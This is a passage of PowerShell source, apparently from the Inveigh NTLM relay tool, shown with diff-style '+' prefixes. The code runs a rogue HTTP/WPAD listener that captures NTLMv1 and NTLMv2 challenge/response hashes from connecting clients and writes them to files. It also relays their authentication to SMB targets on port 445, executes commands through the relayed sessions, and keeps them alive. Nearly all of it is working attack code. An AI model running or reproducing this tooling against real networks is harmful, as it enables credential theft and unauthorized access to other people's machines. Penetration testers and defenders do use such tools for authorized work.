$HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + + if($HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + + if($attack -eq 'Session') + { + $target = $null + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and ($inveigh.session_list | Where-Object {$_.Initiator -eq $HTTP_source_IP -and $_.Target -eq $target_entry -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $target = $target_entry + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + } + + } + + if(!$target -and $SessionPriority -eq 'Y') + { + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and ($inveigh.session_list | Where-Object {$_.Privileged -eq 'yes' -and $_.Target -eq $target_entry -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $target = $target_entry + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + } + + } + + } + + } + else + { + $target = $null + + ForEach($target_entry in $inveigh.target_list) + { + + if(!$target) + { + + if($HTTP_source_IP -ne $target_entry -and !$inveigh.relay_list.Contains("$HTTP_source_IP $target_entry")) + { + $target = $target_entry + } + + } + + } + + if(!$target) + { + $target = $inveigh.target_list[(Get-Random -Maximum $inveigh.target_list.Count)] + } + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selected $target as relay target") + } + + if($inveigh.SMB_relay -and $relay_step -eq 0 -and ($target -and $HTTP_source_IP -ne $target)) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay initiated by $HTTP_source_IP") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Grabbing challenge for relay from $target") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 60000 + $SMB_relay_socket.Connect($Target,"445") + $HTTP_client_close = $false + $relay_step = 1 + + if(!$SMB_relay_socket.connected) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") + $relay_step = 0 + } + + if($relay_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version + + if($SMB_relay_bytes.Length -le 3) + { + $relay_step = 0 + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + + if($relay_step -eq 1) + { + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_session_ID = $SMB_relay_bytes[44..51] + + if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version -eq 'SMB1' + } + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0x82 + + $SMB_relay_target_flag + + 0xa2 + + $SMB_relay_NTLM_challenge + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + $relay_step = 2 + } + else + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + else + { + + if(!$target) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted due to lack of an eligible target") + } + elseif($HTTP_source_IP -ne $Target) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted relay due to initiator matching $target") + } + + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + + if($HTTP_NTLM_user_length -gt 0) + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + } + else + { + $HTTP_NTLM_user_string = "" + } + + $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") + } + + } + + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_username_full") + } + + } + + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($inveigh.SMB_relay -and $relay_step -eq 2) + { + + if(!$Username -or $Username -contains $HTTP_NTLM_user_string -or $Username -contains "$HTTP_username_full") + { + + if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + { + + if($inveigh.relay_user_failed_list -notcontains "$HTTP_source_IP $HTTP_username_full $Target") + { + + if(($inveigh.session_list | Where-Object {$_.User -eq $HTTP_username_full -and $_.Target -eq $target -and $_.Status -eq 'connected'} | Measure-Object).Count -lt $SessionLimit) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") + $SMB_relay_failed = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID + + if(!$SMB_relay_failed) + { + + if($Attack -eq 'Session') + { + $inveigh.session_socket_table[$inveigh.session_count] = $SMB_relay_socket + $inveigh.session_table[$inveigh.session_count] = $SMB_session_ID + $inveigh.session_message_ID_table[$inveigh.session_count] = 3 + $inveigh.session_lock_table[$inveigh.session_count] = 'open' + $session_privilege = SMBRelayExecute $SMB_relay_socket $SMB_version $SMB_user_ID $SMB_session_ID + $session_object = New-Object PSObject + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP + Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full + + if($session_privilege) + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes" + } + else + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no" + } + + if($SMB_relay_socket.Connected) + { + $status = "connected" + } + else + { + $status = "disconnected" + } + + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s) + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s) + $inveigh.session_list += $session_object + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sesion $($inveigh.session_count) added to session list") + $inveigh.session_count++ + } + else + { + SMBRelayExecute $SMB_relay_socket $SMB_version $SMB_user_ID $SMB_session_ID + } + + } + + $relay_step = 0 + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has reached session limit on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has already been tried on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full not on relay username list") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + + if($proxy_listener) + { + $HTTP_send = $false + } + + } + else + { + $HTTP_client_close = $false + } + + } + + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false + } + else + { + Start-Sleep -m 100 + } + + } + + } + + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() +} + +# Control Relay Loop ScriptBlock +$control_relay_scriptblock = +{ + param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime,$SigningCheck) + + function SigningCheck + { + $target_list = $inveigh.target_list + + ForEach($target_entry in $target_list) + { + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 5000 + $SMB_relay_socket.Connect($target_entry,"445") + + if(!$SMB_relay_socket.connected) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") > $null + } + else + { + SMBRelayChallenge $SMB_relay_socket $null '$SMB1' $true > $null + } + + } + + if(!$inveigh.target_list) + { + StopInveigh "empty target list" + } + + } + + function OutputQueueLoop + { + + while($inveigh.output_queue.Count -gt 0) + { + + if($inveigh.console_output) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null + } + + } + + if($inveigh.DNS_list.Count -gt 0) + { + + foreach($DNS_host in $inveigh.DNS_list) + { + + if($DNS_host.StartsWith("1,")) + { + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNS_host.SubString(2) + + if($DNS_update -eq "[+] DNS update successful") + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) removed") + } + else + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for $($DNS_host.SubString(2)) remove failed") + } + + } + + } + + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $exit_message") > $null + OutputQueueLoop + Start-Sleep -S 1 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $exit_message") > $null + OutputQueueLoop + Start-Sleep -S 1 + $inveigh.running = $false + } + + $inveigh.HTTPS = $false + } + + if($SigningCheck -eq 'Y') + { + $SigningCheck = 'N' + SigningCheck + } + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.relay_running) + { + + while($inveigh.output_queue.Count -gt 0) + { + + if($inveigh.console_output) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + StopInveigh "disabled relay" + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output -and -not $inveigh.control) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.form_input_file_queue.Count -gt 0) + { + $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append + $inveigh.form_input_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + Start-Sleep -m 5 + } + + } + +# Session Refresh Loop ScriptBlock +$session_refresh_scriptblock = +{ + param ($SessionRefresh) + + while($inveigh.relay_running) + { + + if($inveigh.session_socket_table.Count -gt 0) + { + $session = 0 + + while($session -le $inveigh.session_socket_table.Count) + { + $session_timespan = New-TimeSpan $inveigh.session_list[$session]."Last Activity" $(Get-Date) + + if($inveigh.session_socket_table[$session].Connected -and $inveigh.session_lock_table[$session] -eq 'open' -and $session_timespan.Minutes -ge $SessionRefresh) + { + $inveigh.session_lock_table[$session] = 'locked' + $SMB_client = $inveigh.session_socket_table[$session] + $SMB_client_stream = $SMB_client.GetStream() + $SMB_session_ID = $inveigh.session_table[$session] + $SMB2_message_ID = $inveigh.session_message_ID_table[$session] + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_path = "\\" + $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + #$packet_SMB2_header["ProcessID"] = $process_ID_bytes + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + catch + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay SMB session $session has closed") + } + + $inveigh.session_lock_table[$Session] = 'open' + $inveigh.session_list[$Session] | Where-Object {$_."Last Activity" = Get-Date -format s} + $inveigh.session_message_ID_table[$Session] = $SMB2_message_ID + } + + $session++ + } + + + } + + Start-Sleep -m 5 + } + +} + + # HTTP Listener Startup Function +function HTTPListener +{ + $HTTP_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $false + $proxy_listener = $false + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [PowerShell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($SessionLimit).AddArgument($SessionPriority).AddArgument( + $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument( + $WPADResponse) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# HTTPS Listener Startup Function +function HTTPSListener +{ + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_listener = $true + $proxy_listener = $false + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($packet_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( + $Command).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( + 